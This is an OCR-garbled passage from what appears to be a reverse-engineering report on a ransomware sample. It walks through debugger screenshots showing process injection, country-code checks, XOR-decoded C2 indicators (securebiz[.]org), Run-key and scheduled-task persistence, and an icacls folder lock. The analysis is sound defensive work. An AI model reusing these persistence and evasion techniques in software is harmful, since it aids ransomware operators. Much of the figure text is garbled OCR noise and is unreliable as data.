push eax WBTSW_C1 0 xB7SW_CO O xB7SW_ES O
mov ecx,dword ptr ss:febpes] XB7SW_SF O xB7SW_P 1 xXBFSW .U O
02DAD333 mov_edx,dword ptr ds: [ecx+&0 H e
e - - LSS em e

{ esp+a] 00504000 File. 0050A000
esp+8] 02EAIBAD
02DA0399 | ::

Poue1  @oump2  Eoump3  oumpd  @Soumps @ wachi  belloas 4 Stuct

Fwe 2o
The SetThreadContext function is used to set the context for the remote thread:

x875tatusword 0020
mov ecx,dword ptr ss:Bebp-243 x875W_B 0 xB7SW.C3 0 x875W.C2 0
push ecx MB7SW C1 O xB7SW.CO 0O xB7SW_ES O
mov edx,dword ptr bp+5sj X87SW_SF O XB7SW_P 1 xB7SW_U O
mov_eax, dword

push eax

OZDADZEL
®Woump1 @ oump2

Figure 21
The binary resumes the main thread of the suspended process using ResumeThread:

Woump3 @Hoump4  @houmps @ watchi
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XB7SW_C1 0 xB7SW_CO O xB7SW_ES O
88 55 08 X87SW_SF O XB7SW_P 1 x8TSW.U O

8B 42 50 dword p H ! i I

Figure 22
We've extracted the executable from memory, and we continue to analyze this file. The
following PDB path has been found: “e:\doc\my work
(c++)_git\encryption\release\encrypt_win_api.pdb”. The binary initializes the use of the
WinINet functions by calling the InternetOpenW API (the user agent being “Microsoft Internet
Explorer”):

DO1SCF52 X/ STATUSWOTD LUUL
XETSW_B O xB7SW.C3 0 xB875W.C2
MBTSW_C1 0 xBT7SW . CO O xB7SW_ES
XB7SW_SF 0 xX87SW_P 0O x875W_U

-TexT:001SCFSF wininet_dump.exe: SCFSF #CFSF

Wowe1  @oump2 Noump3  EHoump4 P Dumps

DOGFEE61 N 00 00 00|00 00 00 00|00 00 00 00|00 00 00 O0|H...covreenannss

Figurén 23
The malware performs a GET request to https[:]//api.2ip.ua/geo.json, which reveals details
about the location of the IP address:

DO1SCFBA 6A 00

X87TW_2 3 (Empty) X87TW_3 3 (Empty)
X8TTW_4 3 (Empty) X87Tw_5 3 (Empty)
XB7TW_6 3 (Empty) xB7TW_7 3 (Empty)

push 0
mov dword ptr ss:febp-4f,0

Tea eax,dword ptr ss: = |
cmp dword ptr ss:febp-55§,5
push 0

cmovae eax,dword ptr ss:[febp-ecl
push 0

6A 00
C7 45 FC 00 00 00 00
8D 45 94

83 7D A3 08
xB75tatusword 0000

XB7TSW_B O XxB7SW_C3I O x87SwC2 O
XBTSW.C1 O xB7SW_CO O xB7SW_ES 0O
XBTSW_SF 0 XB7SW_P O X87SW_U 0O

6A 00

OF 43 45 94
A 00

50

57

. Text:D015CFAE wininet_dump. exe: SCFAG #CFAS

@oump1  @oump2z  @Dump3  @Dump4

@oumps 8 watch1

Figure 24
InternetReadFile is used to read the response from the server, and an example of a JSON
form is displayed below:

001SCFBF 50
OOLSCFCO 68 00 28 00 0O
DOLSCFCS BD B85 6B D7 FF FF

D015CFCE
OOLSCFCC

50
56 —

push eax xB7Statusword 0000
push 2800 XB7SW_B O xXB7SW.C3 0 x57SW.C2 O
Tea eax,dword ptr ss:Jebp-zsas] XB7SW_C1 O xB7SW_CO O xB7SW_ES O
push eax XBTSW_SF 0 xXB7SW_P 0 XBTSW_U ]
push esi -

8 d e dst W

-TexT:001SCFCD wininet_dump. exe: $CFCD #CFCD

o2  EDure3  Youm 4

mip": "174.138.47.57",
"country code®: “OS",

"country®™: "United states of america"™,
"country rus®: "CHA",

"country ua®: ®CHA,

"region™: "New jersey",

“region rus®: "Heo-Owepcu™,

"region ua®: "Hep-Oxepci®,

"city": "North bergen”,

"eity rus®: "Hopr Bepren®,

"lacicude®™: *40.80427",

"longitude®™: "-74.01208",

"zip code™: "07047",

"time zone": "-04:00"

Figure 25
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The “country_code” element is compared with “RU” (Russian language), “BY” (Belarusian
language), “UA” (Ukrainian language), “AZ” (Azerbaijani language), “AM” (Armenian
language), “TJ” (Tajik language), “KZ” (Kazakh language), “KG” (Kyrgyz language), “UZ”
(Uzbek language) and “SY” (Syriac language):

BA 01 mov al,byte ptr ds:[eck [ 52 000 -
34 02 cmp a1:byte ptr .|-_'-:Ee.:n edx: ™| E‘éﬁ uDDESSSE
~ 75 27 jne wininet_dump.1586A3 F—
83 FE FD omp esi,FFFFFFFD ECX  ODBFE3A4 “us®
w TA 3 ia wininar Aumn 1CBEAD EDX 00250004 RU

Figure 26
The systems that have one of the languages enumerated above will not be encrypted. The
priority for the current process is set to high by calling the SetPriorityClass routine (0x80 =

HIGH_PRIORITY_CLASS):

| push so | XB7SW_SF 0 XB87SW_P 0 X87SW.U O
push esi | =
CE1Y dword ptr ds:[<&SetPriorityCclass>] v =
5 | Default (stdcal) v (5 [2]0] unlodk
—_— — (1T [es|
net_dump. &SetPriorityClasssJ=<kernel3z. SetPriorityClass> esgﬂ] 00000080

esp+8] 00174141 <wininet_dump.EntryPoint>
D"_:_] 0000000A

- TEXT:00169FDA wininet_dump.exe: $19FDA #19FDA

& EEFEEFEF
& Struct OOEFE3FC | 00000080 |

Woump1  YDemp2  MDump3  UHoumps  WHoumps @ watch1l  B-llocls

Figure 27
The executable retrieves the command-line string for the process and then returns an array
of pointers to the command-line arguments:

FF 15 EC €1 21 00 BN dword ptr ds:[<&GetCommandLinew:] XB7SW_B 0 XB7SW.C3 0 xB7SW.C2 O
8D 4C 24 40 Tea ecx,dword ptr ss:fesp+40] XBTSW_C1 O XB7SW_CO 0 XB7SW_ES O
51 push ecx XB7SW_SF O XB7SW_P 0O XB7SW_U O
50 push eax eaxil |m e seaanatil =
FF 15 24 €3 21 00 call dword ptr ds:[<4CommandlineToArguws, ] v —
— < e 5 [Defaut (stdcai) =[5 1210 Undock
— e - 1: [esp] 03632250 Lo\ c:\\users |\ \Desktopi'v
dword ptr [0021C324 <wininet_dump.aCommandLineToArgv>]=<shell32.CommandL ineToAr gviv> 2: gesgl-“ 0135E628 ABEERN v AD AN
3: tesp+s 00174141 <wininet_dump.EntryPoint>
4: [esp+C] 0000000A
. TEXT: 00164160 wininet_dump.exe: $1A16D #1A16D ol L B,

Womo1 Uoump2 Houwp3  @HDup4  @MDumos M wetchi  Dellocals  J Stuct IEEEERANN reesees 0l [N e Vusees VNI s i T e e
Figure 28

It's important to mention that the malware can run with one of the following parameters: “—
Admin”, “~Task”, “—AutoStart”, “—~ForNetRes”, and “~Service”. We'll describe the execution
flows with different parameters later on.

All process IDs that correspond to the processes on the system are retrieved by calling the
EnumProcesses API:

51 push ecx XB7SW_B O XB7SW.C3 0 x87SW.C2 O
68 00 AD 00 00 push A000 XB7SW_C1 0 XxB7SW_CO O xB7SW_ES O
8D BD EO 57 FF FF Tea ecx,dword ptr ss:[febp-asz0] XBTSW_SF O XBTSW_P 0 X87SW_U (1]
51 lpu:‘rl\ ecx
FF DO call eax BANIE v —
5 |Defaut (stdcal) »|[5 510 unlock
—. e |1: [esp] 01353DC0
eax=<psapi.EnumProcesses> (768613A0) [3: Fespﬂ] 00004000
3: [esp+8] O135E5D0
iy | 4: [esp+C] DODOODDOL
. Text:001622CD wininet_dump. exe: $122CD #122CD [P
01353DC0
¥SDump1  @hDump2 @Dump3  @Dumpd  EWpumps @ watch1  Peellocals g Struct 0135 3DAC mo‘-:;cm
[aderoce |uee = - ] T laserr I : : ~ /01353080 | 0135E5DO

Figure 29
Each process object is opened by the ransomware using OpenProcess (0x410 =
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ):

| " FF B4 BD EO 57 FF FF push dword ptr ss:febpredi-4-a520) XBTSW_C1 O XB7SW_CO O X87SW_ES O
—_— 6A 00 push XBTSW_SF O XB7SW_P 0O X87SW_U O
— 68 10 04 00 00 Ipui;‘ 410 o — 3 | |
Eg— | FF 15 AC €O 21 00 €all dword ptr ds:[<&0penProcess:> v - iad
f e 5 | Defout (stdcal) * |5 &[] unlod
e - e 1: [esp] 00000410
dword ptr [D021COAC <wininet_dump.&0penProcess>]=<kernel32.0penProcess> [ 2: [gsg“] 00000000
3: [esp+8] 00000000
) LH tesp-\\{_. 00000001
«Text:001622FE wininet_dump.exe: $122FE #122FE IC e
) 000004
@oup1  oump2 Woump3  @Houmpd  Woumps @ watthi  bellocals g Stuct 0135 3DAC m,g.f‘
| addrecs | wex laserr i 101353080 | 00000000

Figure 30

10/43



The malware extracts a handle for each module from a process that was successfully
opened:

50 | push eax 2 = E x87Statusword 0000
6A 04 push 4 XBTSW_B O xBTSW.C3 O xBTSW.CZ O
BD 45 FC lea eax,dword ptr ss:[febp-4] [ebp MBTSW C1 O xB7SW.CO O NXB7SW_ES O
50 push eax XBTSW_SF O XB7SW_P O XB7SW_U O
= _pu§¥ esi — feb . o -
call dwor r ssifebp-8 ebip- v - =
Default (stdcall) =[5 [#][] unlock

1 [esp] 000003CE
25> esp+4] 0135ESDC <&ENUMPrOCEsSes>

3 [esp YS‘: 00000004
teSIH( O135E5CO

<TeXT: 00162315 wininet_dump.exe: $12315 #12315

J'wuno: Wioup2  4Dump3  WhDump4  WDumps @ watchi  Ie-llocss i stuct FOTaEanas mm,sgm
i I i RESAL e ok Ll SR I
E S e D 7 e ~ | 01353080 D135E5CO

Flgure 31
The GetModuleBaseName\W function is used to retrieve the base name of a module that is
compared with the name of the executable (in our case, “wininet_dump.exe”):

68 00 04 00 00 push 400 RS/ BLALUSWUT U UUUY

.
i . 8D 85 EO F7 FF FF lea eax,dword ptr ss:Qebp-s20f XB7SW_B 0 XB7SW.C3 O x87SW.C2 O
1l - 50 push eax XB7SW_C1 O xB7SW_CO O XxB7SW_ES O
i1 L] FF 75 FC push dword ptr ss:febp-4] IB"S\\_SF 0 x87 S\' P 0 XB7SW_U (4]
§ ¥ oi- 56 }Dllil; es1 d ] r — —1 = ————— E—
Hg—- FF 55 F4 call dword ptr ss:[ebp-C Ehps v T
R £ s m&nmmm >[5 1511 unlod

13 [esp] 000003CE

:z. esp+4] 00400000
| 3: [esp+8] 0135DDCO
| 4: [esp+C] 000DD400

. Text:D016232C wininet_dump. exe: §1232C #1232C

J:\.Du-ml Woump2 $Dump3  Whoump4  @oumps @ watht  bellocals Y struct mmnnnnm
| [ asc1x | " 01353080 R
Dl!SDDCO m 00 00 00|00 00 00 0000 00 00 O00[0D0 DD OO0 DOIR. .o v v enronsa mm nnnnnnr\n
Figure 32

The binary performs a lot of XOR operations (key = 0x80) in order to decrypt relevant strings.
The next figure contains a buffer with the C2 server securebiz[.]Jorg:

L AL

Ll s =]

Ltext:8815EFCE

.text:8815EFCA loc 1S5EFCA:

.text:8815EFCE mov ecx, [ebx]

.text:8815EFC2 mov ecx, [ecx+edx*™4)]

.text:8815EFCS xor byte ptr [ecx+eax], 88h

text:@@15EFCY inc eax

.text:@a815EFCA cmp eax, 97h ; '-' )

.text:@@15EFCF j1 short loc_15EFCe Figure 33
]

Address | Hex : ASCII |

037313F8 |36 30 30 00|63 OO0 2F F3|65 63 75 72|65 62 69 7A|BOD.cC. /securebiz
03731408|2E 6F 72 67 |2F 66 68 73|67 74 73 73|70 &5 G6E 36| .org/Fhsgtsspens
03731418 2F &7 60 74 (2E FO &8 FO|00 BE 90 72|75 AB 44 04| /get.php.».rx=D.
03731428 | BC BC 9D 72|40 79 E3 03(CO 7E 9E 72|80 89 91 72| X%.r@ya. hm E il
03731438 |DC 7E 9E 72|80 85 91 72(14 7F 9E 72|80 89 91 72(U—.r...r...Ir. ..r
03731448 (A0 FF 9E 72(|(6C 89 91 72 |AD 7F 9E 72 |6C 89 91 7Z| ..rl..r
03731458 (A0 FF 9E 72 |(6C 89 91 72|74 00 3D 00|22 00 62 00| ..rl..r
03731468 | 6F 00 72 00|64 OO 65 OO|72 00 6C 00|61 OO 79 00| 0.r.d.
t.

[=H
03731478 | 6F 00 75 00|74 OO0 28 00129 00 22 00|20 00 73 00| 0.U. [
03731488| 68 00 &5 00(65 OO0 00 BA|OD FO AD BA|OD FO AD BA|h.e.e..®.d. o El o

The ransomware opens the Run registry key using RegOpenKeyExW (0x80000001 =
HKEY_CURRENT_USER and 0xFOO3F = KEY_ALL_ACCESS):

ril.
a.

L1l

hfl‘{:’.:.'l'

t=
E
1.
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& || 00161CFE 50 sh eax

o 0ole1cFF 68 3F 00 OF 00 push F003F x875tatusword 0000

&l 00161D04 6A DO push O XB7SW_B 0O xB7SW _C3
o 00161006 68 20 02 25 00 push wininer_dump. 250290 X875W_C1 O X87SW_CO
e | 00161D0B 68 01 00 00 80 push 30000001 XB7SW_SF 0 XB7SW_P
¢l 00161D10 BB FA mov edi,eds

| . : F AR EgOpEnKEYE:

!sp-tu! 00250290 L"software) \Microsoft)\windc

00000000
p«-c 0DOF003F
.TEeXt:00161012 wininet_dump.exe:$11012 #11012 “ s

WWoump1  @MDemp2  MDump3  WhDump4  WhDumps BB watch1  [ellocalk i Stuct

00250290 |§8| 00 6F 00|66 DO 74 00|77 DD 61 00|72 00 65 1308

002502A0|5C 00 4D 00|63 00 63 00|72 00 6F 00|73 00 &F

00250280| €6 00 74 00|5C 00 57 00|63 00 6E 00|E4 00 6F i i

002502C0|77 00 73 00|SC 00 43 00|75 00 72 00|72 00 65

00250200 GE oo 74 DO|56 00 €5 00|72 00 73 00|69 00 &F ggg::gg mz return te ntdll.7700FED2 from ntdll.7700FDE
D02502EQ|6E 00 5C 00|52 00 75 O0|6E 00 00 00|22 20 20 asrzesacsnal AnnnanTe

Figure 34
The process is looking for a value called “SysHelper”, which doesn’t exist at this time:

AN LT o Ly AW Sees e ey

XBTTW_6 3 (Empty) x87TW_7 3 (Empty)

DO1E1D4D 0
00161D4E 85 OC E7 FF FF

0
45 EO
0

sh eax

ea eax,dword ptr ss:febp-15F4)

push eax

Tea eax,dword ptr ss:febp-20] x875tatusword 0000

push eax X87SW_B O xB75W_C3 O x875W.C2 O
push 0 XB7SW_C1 0 XxB7SW_CO O x87SW_ES O

:H-ISPI wininer_dump. 24FESC XBTSW_SF O XB7SW_P O X87SW_U o
sh dword ptr ss: eup—ml

egqueryvalueExws.

00000000
esp+C] D13SESBC

- Text: 00161063 wininet_dump.exe: $11D63 #11D63
@hpump2 @hDump3  WDump4

Flgure 35
The UuidCreate function is used to generate a new UUID (16 random bytes):

-Text:00161EFC wininet_dump. exe: $11EFC #11EFC

L P ) il - PN Y FrETIE L T
O135E534

Figure 36
The process converts the UUID to a string using the UuidToStringW API:

XB7SW_C1 O xXB7SW.CO 0 XBFSW_ES O
XBTSW_SF O XxBFSW_P O xB7SW.U O

~ ~|ls B0 uned

0000000A
esp+C] 03745250

-Text:00161F14 wininet_dump.exe: $11F14 #11F14
Woump2  UHDup3  WNDump4  WNDumps B8 watchi

Flgure 37
A new directory based on the UUID is created by the malware:

XB7SW_C1 0 xB7SW_CO 0 XxB7SW_ES O
XB7SW_SF 0 xB7SW P 0O xB7SW U O

D0161F85 6A DO
00161F57 8D 85 0C F7 FF FF
DD}.EIFBD 50

<E

?dn e:x.dmrd ptr ss;flebp-aral
i[<&Createdirectoryw: - = D

st 0374525
5| 4! o
-Text:00161F8E wininet_dump. exe: S11FBE #11FBE B

Woump: Howmp2 EWoump3 EEDump4

A || 71358420 | 0000000A
D135B4E4 | 03745250
0135B4E8 return to ntdl1.7700F802 from ntdll.?700FD

D135B4EC
e » D135B4F0
L1.%.6. D135B4F4
X e S D135B4F8
013584FC
01358500

00000000
nrzeesaasl 7easnian learien ra mrdll TrA%AIA3 Fenm mrdll TTAaAe

0135DCES |8
0135DCF8
01350008 |
0135DD18
01350028
0135DD38
01350048

88888838
888888288
88888888
88838888
£8888888

01350058

Figure 38
The CopyFileW routine is utilized to copy the executable to a new file in the above directory:
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0016203C 6A 00 ?usfl o XE/STATUSWOrag vuuy

0016203E 8D 85 OC F7 FF FF ea ean dword ptr ss:[Jebp-5F4 XBTSW_B O xB875W_C3 0 xB7SW.C2 O
00162044 50 XB7SW_C1 0 XB7SW CO 0O xB7SW ES O
00162045 85 OC DF FF FF o

?:l enx mru ptr ss:jfebp-20F4] XBTSW_SF 0 X87SW_P 0 x87SW_U

00162048

01350CES
00000000

LTeNt: 0016204 wininet_dump. exe: $1204C #1204C
Woump1  @Hoump2  @pump3  EEDump 4

24 Dump 5

B watch 1

Figure 39

The ransomware establishes persistence on the host by creating an entry called “SysHelper”
under the Run registry key, which will run the executable with the “~AutoStart” parameter
whenever the user logs on:

XBSIW_B 5 (EMPTY) XS IW_/ S (EMPTY)

0016200F sh eax
DOLEZOED B85 OC EF FF FF ea eax,dword ptr ss:jebp-10Faf
001620E6 sh eax

001620E7 push 2

0016209 00 push 0

D01620EB 68 SC FE 24 O pusn wininet_dump. 24FESC g7su SF n xs?su P 0 xB7SW_U
001620F0 push dword ptr =s:febp- 18] i

<4RegSetvalueExws 5
~ |[5_[$]7 ook
espr4] OD24FESC L-SysHelper™
esp+8
esp+C] 00000002

xB7Statusword 0000

XB7SW_B 0 xB7SW C3 0 x87swC2 0
XB7SW_C1 0 xB7SW_CO 0O xB7SW_ES O
(]

<

-TEXT:001620F3 wininet_dump. exe: §120F3 #120F

WWoump1  @hpump2 WHDump3

wn

Pe=llocals 4 Struct

0135D4EB |33
0135D4F8
01350508 7
01350518
01350528
0135D538
01350545
0135D558
01350568
0135D578
01350588
01350598

Figure 40
The binary denies “Everyone” to delete the folder created above using the icacls command,
as highlighted in figure 41:

s 0135B4E0 | 00D0000A

A 6. O135B4E4 | 03745250

> et 013584E8 | 7700F return to ntdil.
0135B4EC
> D135B4F0D
<Ce O0135B84F4
""" D135B4F8
ot O135B4FC
0135B500

00000000
Avzeacas | Trasatas lcarien o ard11 TIASAIAS Seam ardll TrAsneED

T7TO0FBDZ from ntdll.7TOOFDED

§88888888888
838888888888

888388888

?usn eak 2 EE
85 OC FF FF FF ea eax,dword ptr s5:febp-F4j
push eax

00162183
001621584
DD16218BA
00162188
DO16218D
D016218F
00162191
00162193

L x87Tagword FFFF

xXB7TW_O 3 (Empty) XB7TW_1 3 (Empty)
XB7TW_2 3 (EmpTy) xB87TW_3 3 (Empty)
XBFTW_4 3 (EmpTy) xB7TW_5 3 (EmpTy)
XBTTW_6 3 (EmpTy) xBTTW.7 3 (Empty)

ean:l

x875tatusword 0000

$E8222000582

00162195 0 sh 0 XB7SW_B O XB7SW.C3 0 xB7SWC2 O
00162197 85 OC CF FF FF ea eax,dword ptr ss:febp-30F4] X87SW.C1 O xB7SW.CO O Xx575W_ES O
00162190 push eax 0 XB7SW_U O

XBTSW_SF O XB7SW_P

0016219 push .| JA

esp+4] 0135B4EB L icacls \"C:\\Users\
esp+5] 00000000

. TEXT: 001621A0 wininet_dump. exe: $121A0 #121A0 st

@Wowp1  $Hoump2  UDump3 : 448 Dump 5

0135B4E8
D135B4F8

D13584E0 | DOOOODDA

. 013584E4 | 03745250

PN, 013584E8

EL bl s 0135B4EC
- o 013584F0

s T X 013584F4

AisEEaEs

L" unable to open console device\r\n"
H

Flgure 41
A second persistence mechanism consists of creating a scheduled task (using COM objects)
that will run the ransomware every 5 minutes.

The malicious file initializes the COM library on the current thread using the Colnitialize
function:

0015D263
00150265

8
03745250
00000000

- TexT:0015026C u1nim_dunp.exe: SD26C #D26C

| = — - . - - - - - [P P L .

Figure 42
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We have observed that the implementation is similar to the one presented at
https://docs.microsoft.com/en-us/windows/win32/taskschd/time-trigger-example—c—,
however we’ll dig deeper and explain how the assembly code looks like.

The ColnitializeSecurity routine is used to register and set the default security values for the
process (0x6 = RPC_C_AUTHN_LEVEL_PKT_PRIVACY and 0x3 =
RPC_C_IMP_LEVEL_IMPERSONATE):

push o AN ML S Ly L e |
push 0 NBTTW_4 3 (Empty) XBTTW_5 3 (Empty)
push 0 X87TW_6 3 (Empty) x87TW_7 3 (Empty)
push 3
push & x8T5tatusword 0020
push 0 XB7SW_B 0 xB7S5W.C3 0O xB7Sw C2 O
push o XB7SW_C1 0 X87SW_LO O X87SW_ES O
DUS"\ FFFFFFFF XB7TSW_SF 0 XxB7SW_P 1 XxB7SW_U o
|nl‘l Mrd pErdsi[<tCoInitializesecurity>] vl|® =
| Defat (stdcal) *||5 % 1[] unlock
[ — e [1i [esp] 00000000
[dword ptr [0021C3E0 <wininet_dump.&CoInitializesecurity>]=<combase.CoInitializesecurity> [ 2: [f:g“] FEFFFFFF
(31 esprsi 00000000
H 00 0000
-Text:0015D28F wininet_dump. exe: SD28F #D28F L LEIBELl DO0N0.

$oumpl  YLoump2  $Dum3  $H0ump4  EDumpS @ watth1  bellocals 4 Struct

|Address | Hex _|ascr
036EF7AD |0 EE €€ 03 EE FE EE FE|EE FE EE FE|p=0.5'0.1D1Pipip
036EF7BO|EE FE EE FE | EE FE EE FE

EE FE EE FE EE FE EE FE|1pip b|h|p1p1p1§:
EE FE EE FE|EE FE EE FE|ibipipipibipipib
EE FE EE FE|EE FE EE FE|1bipipipibibibip

EE FE EE FE EE FE EE FE|Ib1b pfhimpwm

cc g€ ec eclee ec £E eclihihihinihihinin

O36EF7CO|EE FE EE FE|EE FE EE FE
036EF7DO|EE FE EE FE|EE FE EE FE
O36EF7EO|EE FE EE FE EE FE EE FE
n3ecerenlee ec e eelee ee ec eE

Figure 43

The process creates an object with the CLSID {OF87369F-A4E5-4CFC-BD3E-
73E6154572DD}, which implements the Schedule.Service class for operating the Windows
Task Scheduler Service:

S0 push eax
65 EC 4F 22 00 push wininet_dump. 224FEC xg7statusword 0020
6A 01 push 1 XB7SW_ B O xB7SW_C3 0 x87SW.C2 O
€A 00 push « X87SW_C1 0 XB7SW_CO O XB7SW_ES O
68 6C_50 22 00 push wininet_dum : XS7TSW_SF 0 XS7SW_P 1 XE7SWU 0
C7 45 E4 DO 00 00 00 I \ir‘cmcrddp i 2 ¢ . I
FF 15 E§ C3 21 00 call dword ptr s: ou:ocreatelnstancem L di =
5 | Defeult (stdcal) * s 13| unod
17 [espl 0022506C win .o0zzs06C

:1‘; esp+4] 00000000
| 3: tesn—fs 00000001

dword ptr [0021C388 <wininet_dump, &CoCreatelnstances 1=<combase, Cocreatelnstances
:4: e5p+C] D02Z4FEC wininet_dump.00224FEC

. Text: 00150205 wininet_dump.exe: SD2D5 #D2D5

o1  YMouww? Moum3  (4Dum4  WDumps @ wath1  ellocals 4 Stuct Io,m“.m

Address | Hex ASCIT
002250&2 !F !E !? I:l-‘ E'i M FI: ‘C m !E ?3 Eﬁ 15 45 72 no 6 l]L!b_vsl.Erf

Figure 44

You can notice if you follow the C++ implementation mentioned above that in a case of a
function call such as p -> f(a,b), the assembly representation contains 3 parameters pushed
on the stack (because the pointer p is pushed as well). An example of such a call is
represented by the ITaskService::GetFolder method, which gets a folder of registered tasks:

|| D135E08C
01336070 | 00224PEC
D135E074 | 0135ESAC |

wininet_dump. 00224FEC

56 push es1 XBTSW_B O xBTSW.C3 0 xB7SwW.CZ2 O
52 push edx XB7SW_C1 0 xB7SW CO O xB7SW_ES O
50 push eax XB7SW_SF 0 XxB7SW_P 1 Xx875wW_U o
88 08 lmo;_le( caord pél' .E : [eax i = = .
FF 51 1C €all dword ptr ds:[ecx+iC w =
| m - 5 | Defauit (stdcal) =[5 ][] unlock
W— . - - 1: [esp] 034C7150 -
dword ptr [ecx+1C]=[taskschd.6CAELGFA]=taskschd. ECAF9060 z: Fesﬂa 036F7204
: [esp+s] 0135E584
- : [esp+C] 00000258
. Text: 00150411 wininet_dump.exe: SD411 #D411
. i o - & [ @) ucnso
#%Dumpl G5 Dump2 R Dump3 SN Dump4 G Dump 5 ¥ Watch1  [=llocals = 4 Struct '0135€070| 0367204
[P T S i — Tarrer T O135ESB4

Figure 45
A task called “Time Trigger Task” is deleted using the ITaskFolder::DeleteTask method:

&A 00 push « XB7SW_B 0 XB7SW.C3 0 XB7SWC2 O
52 push edx edu:l X575W_C1 0 x875W.CO O XxB875W_E5S ©
50 push eax XB7SW_SF 0 xB7 S\\_P 1 xB7SW_U 1]
88 08 mcl;'.lecx.dvgord ;r i::[cu\ |
FF- 51 3C call dword ptr ds:[ecx+3c = _ b
< I_Defalltsldal} ¥ [5 [3] (] urkd
1i [esp] 03ac7248
“dword ptr [ecx+3C]=[taskschd.GCAE15DA]=taskschd. GCAF57AD 2% gspHJ D;s;"‘_pc L"Time Trigger Task”
3: [esp+8] 00000000
- || 22 esp+cJ 00000258
. Text: 00150462 wininet_dump. exe: SD462 #D462 =

Wourp1  @4oump2  @Hoump3  @4oumps  @HDumps B watchi  irllecals st m;?xm
. | p135E074 | DOOODOOO

sndrace | uaw Taerrr i

Figure 46

L"Time Trigger Task"
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https://docs.microsoft.com/en-us/windows/win32/taskschd/time-trigger-example--c---

The ITaskService::NewTask function is utilized to create an empty task definition object:

52 | push edx R xBTStatusword 0020

C7 45 FO 0O 00 0O DO |mov dword ptr ss:@ebp-108,0 XB7SW_B O XB7SW.C3 O x57SW.C2 O
6A 00 { push 0 XB75W_C1 0O xB7SW_CO 0O xB7SW_ES O
88 08 |mov ecx,dword ptr ds:[eax] XBTSW_SF 0 XBTSW_P 1 x8TsW_u 0

R R— 1 |
r H 24 T
- e - =[5 12| unloch

§3:
| 4: [espsC] 00000258

-text: 00150484 wininet_dump.exe: SD484 #D484

Im%w'fll_mmz “eDump3  Dump4 G4 Dump s .hé::amhf Ir-IL:)cds ] ;rlslful:t ‘Iﬁmiw“mm:ﬂ
Figure 47
An example of a safe release when the pointer is no longer used is shown in figure 48:

push eck
mov_edx,dword ptr ds:[ecx]

| x875W_SF 0 x87SW_P 1 x875W_U 0
/ [ —
| a1 dword ptr ds:[edx+s8]

v
Defauit (stdcal) »||5 3] uniock

FY] E‘ii‘] 033C7150
|2: [esp+4] 00000258
3:

i esp+B] 03745250
| 4: [esp+C] 00000000

>

- TexT:0015048F wininet_dump. exe: SD45F #D48F
i - Sl PSR e PO W N S A [ S 034C7150

Figure 48
The binary retrieves the registration information of the task (the description, the author, and
the date the task is registered) by calling the ITaskDefinition::get _RegistrationInfo method:

o] 00150489 52 push edx XB7SW_C1 0 xB7SW_CO O NXB7SW_ES O
- 50 push ea XBTSW_SF O XBTSW_P 1 xXB7SW_U o
@ 0O 88 08 l"'W e“rd“‘ﬂ;: D&; 3“[2:3 e ]
* B FF 51 1C call dword r t[ecxt A - =3
. , | Defaut (stdcal) = |5 % [Junlock

i Eun’j 034C7308

|2: [esp+4] o135E58C
i!: [esp+8] 0D0DDO258
| 3: [esp-C] 03745250

- TEXT: 00150480 wininet_dump.exe: SD4BD #0480

Wouro1 | @oump2  WHoump3  WNoumpd  WNoumps @ watcht  bellocals ) Stuct R aeoa 3T

Figure 49
IRegistrationInfo::put_Author is used to set the author of the task to “Author Name”:

82 push edx edu:L |xs?5u_c1 0 XB7SW_CO 0O xB7TSW_ES 0O
50 push 2ax | XBTSW_SF 0 XB875W_P 1 XB7SW_U 1]
IR AN A e ——
r tfecxr A4 T
1 - - ,  |Default (stdcal) = ||5 21 unlock
1: [esp] '3C0 -
2: [esp+4] 036F7394 L"Author Name"

! 3: [esp+8] 00000258

. TexT:001504EC wininet_dump. exe: SD4EC #D4EC :i‘: tsﬂﬁ_m—
= - 2 &) 034C73C0
Wowo1  $Hoump2  Whoump3  @bump4  @oumps @ wath1  bellowals ¢ Stuct Hm“" ,,mmh-m P

Figure 50
The ransomware retrieves the principal for the task (which provides the security credentials)
by calling the ITaskDefinition::get_Principal function:

52 push edx = 2 | X675W_C1 O XB7SW.CO O XB7SW_ES 0
50 push eax | X87SW_SF O XB7SW_P 1 Xx875wW_U (1]
imW !c“frd:Drd Ps; EHIHI [ ——
call dword ptr leck+3c e =1
Defauit (stdcal) * |[5 5[] unlock

>

i D
i 1: [esp] 034C7308
Ptr [ech+sc TecaEIFa0)=t S ) 2 Eesm—ld] 0135E594

3: [esp+8] 00000258
4: [esp+C] 03745250

. TeXT:0015051F wininet_dump.exe: SDS1F #D51F

e —
Woumo1  houp2 YhDuw3  Whoumps  WHoumps M warchi  bellocls ) st IGEEEHI 0347308 |
Figure 51

The security logon type is set to 0x3 (TASK_LOGON_INTERACTIVE_TOKEN), which
means that the task will be run only in an existing interactive session:

64 03 push 3 XB7SW_C1 O XB7SW_CO O XB7SW_ES O
50 push eax XBTSW_SF O XB7SW_P 1 XS7SW.U O
88 mov ecx,d:nrd ptr ds:[eax —
call dword ptr ds:[ecx: 36 v —
: — | Defaut (stdcal) =5 13| uned

1: [esp] 034C75A8
2: [esp+4] 00000003
| 3: [esp+8] 00ODOD25E

4: [esp+C] 03745250
[ —

| owe1  pwpz  UBowps  WEouws  Woues @wakhi | bellos | P st e

Figure 52

-TexT: 00150532 wininet_dump. exe: $D532 #0532
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ITaskDefinition::get_Settings is utilized to retrieve the settings that describe how the Task
Scheduler performs the task:

52 push edx | X87SW_C1 0 XB7SW_CO © NB7SW_ES O
50 push eax | XB7SW_SF 0 xB7SW_P 1 Xx875wW_U (4]
5B 08 lg‘ec‘s.d:nrd BEL c[mtzaxi eSS
FF 51 2¢ 1 dword ptr ds:[ecx-2C v =1
Defauilt (stdcal) v |5 12 [Junlod

<

L Max Eunj 034C7308
ptr [ecxt2C i LGCAEFAEQ |2: [esp+4] 0135E59C

esp+8] 00000258
03745250

es5p+l

-TEXT: 00150559 wininet_dump. exe: $D559 #0559

e —
Woumo1 Youp2 YhDuw3  Whoumps  WHoumps M warchi  bellocls ) st s b |
Figure 53

The file sets a Boolean value to OxXFFFFFFFF (VARIANT_TRUE) that indicates the Task
Scheduler can start the task at any time after its scheduled time has elapsed using the
ITaskSettings::put_StartWhenAvailable method:

¥ : 5 - 6A FF push FFFFFFFF | XB7SW_C1 0 XxB7SW. CO O xB7SW_ES O
e 8 i push eax XBTSW_SF D XB7SW_P 1 XBTSW_U O
fo g » 88 08 | mov_ecx,dword ptr ds:[eax

B FF 51 58 | €a¥) dword ptr de:[ecx+sE, v

Default (stdcal) w |5 [ unlock

